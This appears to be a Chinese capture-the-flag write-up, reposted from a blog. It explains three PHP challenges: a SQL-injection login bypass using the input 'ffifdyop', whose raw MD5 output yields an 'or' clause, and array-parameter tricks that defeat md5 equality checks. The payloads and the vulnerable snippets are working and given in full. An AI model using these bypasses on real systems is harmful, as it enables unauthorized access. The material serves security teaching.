标签:reporting where pre echo class image 解释 sele 题目
绕过:
"select * from ‘admin‘ where password=‘ ".md5($pass,true)." ‘ "
输入:ffifdyop
原因:数据库会把16进制转为ascii解释
如下: flag{welcome}的16进制是0x666c61677b77656c636f6d657d
而我们的md5(ffifdyop) 会返回16进制字符串
这时原来的语句就是:
"select * from ‘admin‘ where password=‘‘ or‘6蒥欓!r,b‘ "
or后面的句子第一个字母是非0打头的数字符,比如为 ‘ 1abc ’ 或者 ‘ -1bde ’都会被认为是true。
以0开头会认为是false.
select if( "123", "this_is_true","this_is_false");#返回this_is_true
select if( "0xx", "this_is_true","this_is_false");#返回this_is_false
我的表里只有一个值
select * from flag where id = 1 and flag = "123" or ‘1xxx‘;#返回表中所有值
select * from flag where id = 1 and flag = "123" or ‘0xxx‘;#返回符合id = 1 and flag = "123"的值,因为or ‘0xxx‘解释为false
<!--
$a = $_GET[‘a‘];
$b = $_GET[‘b‘];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里用数组即可绕过
?a[]=1&b[]=2
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST[‘param1‘]!==$_POST[‘param2‘]&&md5($_POST[‘param1‘])===md5($_POST[‘param2‘])){
echo $flag;
}
同第二部相同,绕过比较md5的比较用数组
param1[]=1¶m2[]=2
标签:reporting where pre echo class image 解释 sele 题目
原文地址:https://www.cnblogs.com/h3zh1/p/12656446.html